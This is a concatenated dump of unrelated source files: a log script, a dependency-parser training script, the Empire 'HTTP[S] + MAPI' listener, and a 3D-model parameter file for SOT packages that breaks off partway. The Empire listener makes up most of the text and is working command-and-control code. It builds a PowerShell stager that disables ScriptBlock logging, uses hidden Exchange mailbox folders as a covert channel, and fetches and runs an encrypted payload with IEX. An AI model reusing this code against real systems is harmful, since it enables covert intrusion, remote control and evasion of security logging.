for row in session.query(Log).filter(new_id >= Log.id).filter(Log.id > current_id).order_by(Log.id).all():
check_day(row, outdir, cfg['core']['channel'])
write_log(row.target, outdir, gen_log(row))
for x in logs.values():
x.close()
if __name__ == '__main__':
config = configparser.ConfigParser(interpolation=configparser.ExtendedInterpolation())
with open(join(dirname(__file__), '../config.cfg')) as f:
config.read_file(f)
parser = argparse.ArgumentParser()
parser.add_argument('outdir', help='The directory to write logs too.')
cmdargs = parser.parse_args()
main(config, cmdargs.outdir)
|
gpl-2.0
|
sfu-natlang/glm-parser
|
scripts/train.py
|
1
|
2296
|
import sys
sys.path.append("../src/")
from backend import data_set, dependency_tree
from feature import feature_set
from learn import weight_learner
from evaluate import evaluator
import glm_parser
def write_file(msg):
f = open(output_file, "a+")
f.write(msg)
f.close()
return
if __name__ == "__main__":
test_secs = [0,1,22,24]
begin_sec = 2
end_sec = 21
iteration = 0 #int(sys.argv[2])
trainsection = [(2,21)]#int(sys.argv[1])
output_file = "./train.out"
max_iteration = 200
#pre_iteration = iteration-1
test_data_path = "../penn-wsj-deps/"
#"/cs/natlang-projects/glm-parser/penn-wsj-deps/"
#db_path = "/cs/natlang-projects/glm-parser/results/"
#db_name = "train_iter_%d_sec_%d"
#dt = dependency_tree.DependencyTree()
#fset_1 = feature_set.FeatureSet(dt, operating_mode='memory_dict')
#fset_1.load(db_path + db_name%(pre_iteration, end_sec) + ".db")
#for i in range(begin_sec, end_sec):
#fset_2 = feature_set.FeatureSet(dt,operating_mode='memory_dict')
#fset_2.load(db_path + db_name%(pre_iteration, i) + ".db")
#print "fs2 " + db_name % (pre_iteration, i) + " load successfully"
#fset_1.merge(fset_2)
#print "merge done"
#del fset_2
gp = glm_parser.GlmParser()
#gp.set_feature_set(fset_1)
#output_file = db_path + db_name % (iteration, trainsection)
#print output_file, trainsection
for iteration in range(max_iteration):
write_file("***************************************************\n")
write_file("Iteration %d: \n Start training...\n" % iteration)
fset = gp.train(trainsection, test_data_path, dump=False)
write_file(" Training done!!!\n")
write_file(" Calculating accuracy...\n")
for s in test_secs:
acc = gp.unlabeled_accuracy(section_set=[s],data_path=test_data_path)
stats = gp.get_evaluator().get_statistics()
write_file(" Section %d -- Accuracy: %lf"%(s,acc) + " ( %d / %d ) \n"%stats )
write_file(" Feature Count with 0: " + str(gp.fset.get_feature_count(True)) + '\n\n')
write_file(" Feature Count without 0: " + str(gp.fset.get_feature_count(False)) + '\n\n')
#print output_file + " done "
|
mit
|
frohoff/Empire
|
lib/listeners/http_mapi.py
|
2
|
31659
|
import logging
import base64
import random
import os
import ssl
import time
import copy
from pydispatch import dispatcher
from flask import Flask, request, make_response
# Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'HTTP[S] + MAPI',
'Author': ['@harmj0y','@_staaldraad'],
'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'),
'Category' : ('client_server'),
'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal']
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'mapi'
},
'Host' : {
'Description' : 'Hostname/IP for staging.',
'Required' : True,
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
},
'BindIP' : {
'Description' : 'The IP to bind to on the control server.',
'Required' : True,
'Value' : '0.0.0.0'
},
'Port' : {
'Description' : 'Port for the listener.',
'Required' : True,
'Value' : 80
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 0
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 60
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
},
'CertPath' : {
'Description' : 'Certificate path for https listeners.',
'Required' : False,
'Value' : ''
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'ServerVersion' : {
'Description' : 'TServer header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
},
'Folder' : {
'Description' : 'The hidden folder in Exchange to user',
'Required' : True,
'Value' : 'Liniaal'
},
'Email' : {
'Description' : 'The email address of our target',
'Required' : False,
'Value' : ''
}
}
# required:
self.mainMenu = mainMenu
self.threads = {}
# optional/specific for this module
self.app = None
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
# set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
"""
Returns a default HTTP server page.
"""
page = "<html><body><h1>It works!</h1>"
page += "<p>This is the default web page for this server.</p>"
page += "<p>The web server software is running but no content has been added, yet.</p>"
page += "</body></html>"
return page
def validate_options(self):
"""
Validate all options for this listener.
"""
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPS")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
stager += "};"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
stager += "$outlook = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};'
stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");'
stager += '$fldel = $outlook.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}")
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "')
stager += 'mailpireout";'
stager += helpers.randomize_capitalization('$mail.Body = ')
stager += '"STAGE - %s"' % b64RoutingPacket
stager += helpers.randomize_capitalization(';$mail.save() | out-null;')
stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;')
stager += helpers.randomize_capitalization('$break = $False; $data = "";')
stager += helpers.randomize_capitalization("While ($break -ne $True){")
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;')
stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}')
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.")
else:
print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"):
"""
Generate the stager code needed for communications with this listener.
"""
#if not language:
# print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!')
# return None
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
folder = listenerOptions['Folder']['Value']
if language.lower() == 'powershell':
# read in the stager base
f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath))
stager = f.read()
f.close()
# make sure the server ends with "/"
if not host.endswith("/"):
host += "/"
# patch the server and key information
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('REPLACE_FOLDER', folder)
# patch in working hours if any
if workingHours != "":
stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
randomizedStager = ''
for line in stager.split("\n"):
line = line.strip()
# skip commented line
if not line.startswith("#"):
# randomize capitalization of lines without quoted strings
if "\"" not in line:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(randomizedStager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
else:
# otherwise just return the case-randomized stager
return randomizedStager
else:
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_agent(self, listenerOptions, language=None):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/http_mapi generate_agent(): no language specified!')
return None
language = language.lower()
delay = listenerOptions['DefaultDelay']['Value']
jitter = listenerOptions['DefaultJitter']['Value']
profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
folder = listenerOptions['Folder']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
commsCode = commsCode.replace('REPLACE_FOLDER',folder)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
return code
else:
print helpers.color("[!] listeners/http_mapi generate_agent(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
getTask = """
function script:Get-Task {
try {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket);
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "GET - "+$RoutingCookie+" - "+$taskURI;
$mail.save() | out-null;
$mail.Move($fld)| out-null;
# keep checking to see if there is response
$break = $False;
[byte[]]$b = @();
While ($break -ne $True){
foreach ($item in $fld.Items) {
if($item.Subject -eq "mailpirein"){
$item.HTMLBody | out-null;
if($item.Body[$item.Body.Length-1] -ne '-'){
$traw = $item.Body;
$item.Delete();
$break = $True;
$b = [System.Convert]::FromBase64String($traw);
}
}
}
Start-Sleep -s 1;
}
return ,$b
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
"""
sendMessage = """
function script:Send-Message {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets;
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;
# $RoutingPacketp = [System.BitConverter]::ToString($RoutingPacket);
$RoutingPacketp = [Convert]::ToBase64String($RoutingPacket)
try {
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random;
$mail = $outlook.CreateItem(0);
$mail.Subject = "mailpireout";
$mail.Body = "POSTM - "+$taskURI +" - "+$RoutingPacketp;
$mail.save() | out-null;
$mail.Move($fld) | out-null;
}
catch {
}
while(($fldel.Items | measure | %{$_.Count}) -gt 0 ){ $fldel.Items | %{$_.delete()};}
}
}
"""
return updateServers + getTask + sendMessage
else:
print helpers.color("[!] listeners/http_mapi generate_comms(): invalid language specification, only 'powershell' is currently supported for this module.")
else:
print helpers.color('[!] listeners/http_mapi generate_comms(): no language specified!')
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
# suppress the normal Flask output
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
bindIP = listenerOptions['BindIP']['Value']
host = listenerOptions['Host']['Value']
port = listenerOptions['Port']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
app = Flask(__name__)
self.app = app
@app.before_request
def check_ip():
"""
Before every request, check if the IP address is allowed.
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
dispatcher.send("[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http")
return make_response(self.default_response(), 200)
@app.after_request
def change_header(response):
"Modify the default server version in the response."
response.headers['Server'] = listenerOptions['ServerVersion']['Value']
return response
@app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri):
"""
Handle an agent GET request.
This is used during the first step of the staging process,
and when the agent requests taskings.
"""
clientIP = request.remote_addr
dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http')
routingPacket = None
cookie = request.headers.get('Cookie')
if cookie and cookie != '':
try:
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if 'session' in cookie:
cookieParts = cookie.split(';')
for part in cookieParts:
if part.startswith('session'):
base64RoutingPacket = part[part.find('=')+1:]
# decode the routing packet base64 value in the cookie
routingPacket = base64.b64decode(base64RoutingPacket)
except Exception as e:
routingPacket = None
pass
if routingPacket:
# parse the routing packet and process the results
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, routingPacket, listenerOptions, clientIP)
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results == 'STAGE0':
# handle_agent_data() signals that the listener should return the stager.ps1 code
# step 2 of negotiation -> return stager.ps1 (stage 1)
dispatcher.send("[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http')
stage = self.generate_stager(language=language, listenerOptions=listenerOptions)
return make_response(stage, 200)
elif results.startswith('ERROR:'):
dispatcher.send("[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http')
if 'not in cache' in results:
# signal the client to restage
print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
return make_response(self.default_response(), 401)
else:
return make_response(self.default_response(), 200)
else:
# actual taskings
dispatcher.send("[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http')
return make_response(results, 200)
else:
# dispatcher.send("[!] Results are None...", sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
else:
dispatcher.send("[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
@app.route('/<path:request_uri>', methods=['POST'])
def handle_post(request_uri):
"""
Handle an agent POST request.
"""
stagingKey = listenerOptions['StagingKey']['Value']
clientIP = request.remote_addr
# the routing packet should be at the front of the binary request.data
# NOTE: this can also go into a cookie/etc.
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, request.get_data(), listenerOptions, clientIP)
#print dataResults
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
if results:
if results.startswith('STAGE2'):
# TODO: document the exact results structure returned
sessionID = results.split(' ')[1].strip()
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
# TODO: wrap ^ in a routing packet?
return make_response(encryptedAgent, 200)
elif results[:10].lower().startswith('error') or results[:10].lower().startswith('exception'):
dispatcher.send("[!] Error returned for results by %s : %s" %(clientIP, results), sender='listeners/http')
return make_response(self.default_response(), 200)
elif results == 'VALID':
dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http')
return make_response(self.default_response(), 200)
else:
return make_response(results, 200)
else:
return make_response(self.default_response(), 200)
else:
return make_response(self.default_response(), 200)
try:
certPath = listenerOptions['CertPath']['Value']
host = listenerOptions['Host']['Value']
if certPath.strip() != '' and host.startswith('https'):
certPath = os.path.abspath(certPath)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
else:
app.run(host=bindIP, port=int(port), threaded=True)
except Exception as e:
print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e))
dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http')
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(1)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()
|
bsd-3-clause
|
poeschlr/kicad-3d-models-in-freecad
|
cadquery/FCAD_script_generator/GW_QFP_SOIC_SSOP_TSSOP_SOT/cq_parameters_sot.py
|
1
|
40529
|
# -*- coding: utf8 -*-
#!/usr/bin/python
#
# This is derived from a cadquery script for generating QFP/GullWings models in X3D format.
#
# from https://bitbucket.org/hyOzd/freecad-macros
# author hyOzd
#
# Dimensions are from Jedec MS-026D document.
## file of parametric definitions
from Params import *
class SeriesParams():
# footprint_dir="TO_SOT_Packages_SMD.pretty"
# lib_name = "TO_SOT_Packages_SMD"
footprint_dir="Package_TO_SOT_SMD.pretty"
lib_name = "Package_TO_SOT_SMD"
body_color_key = "black body"
pins_color_key = "metal grey pins"
mark_color_key = "light brown label"
part_params = {
'Analog_KS-4': Params( # from http://www.analog.com/media/en/package-pcb-resources/package/pkg_pdf/sc70ks/ks_4.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.1, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.9, # body height
b = 0.1, # pin width
e = 0.1, # pin (center-to-center) distance
npx = 16, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (4,5,6,7,8,9,10,20,21,22,23,24,25,26,27,28,29), #no pin excluded
old_modelName = 'Analog_KS-4', #modelName
modelName = 'Analog_KS-4', #modelName
rotation = -90, # rotation if required
),
'SC-59': Params( # from http://www.infineon.com/dgdl/SC59-Package_Overview.pdf?fileId=5546d462580663ef0158069ca21703c1
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 3.0, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.2, # body height
b = 0.4, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'SC-59', #modelName
modelName = 'SC-59', #modelName
rotation = -90, # rotation if required
),
'SC-70-8': Params( # from http://cds.linear.com/docs/en/packaging/SOT_8_05-08-1639.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.1, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.9, # body height
b = 0.22, # pin width
e = 0.5, # pin (center-to-center) distance
npx = 4, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SC-70-8', #modelName
modelName = 'SC-70-8', #modelName
rotation = -90, # rotation if required
),
'SOT-23': Params( # http://www.ti.com/lit/ml/mpds026k/mpds026k.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.0, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 3.0, # body length
E1 = 1.4, # body width
E = 2.5, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.1, # body height
b = 0.40, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'SOT-23', #modelName
modelName = 'SOT-23', #modelName
rotation = -90, # rotation if required
),
'SOT-23W': Params( # A1120ELHLX-T http://www.allegromicro.com/~/media/Files/Datasheets/A112x-Datasheet.ashx?la=en&hash=7BC461E058CC246E0BAB62433B2F1ECA104CA9D3
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.18, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0 # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.98, # body length
E1 = 1.91, # body width
E = 2.9, # body overall width E=E1+2*(S+L+c)
A1 = 0.05, # body-board separation
A2 = 0.95, # body height
b = 0.4, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'SOT-23W', #modelName
modelName = 'SOT-23W', #modelName
rotation = -90, # rotation if required
),
'SOT-23-5': Params( # http://www.ti.com/lit/ml/mpds026k/mpds026k.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.45, # body height
b = 0.5, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
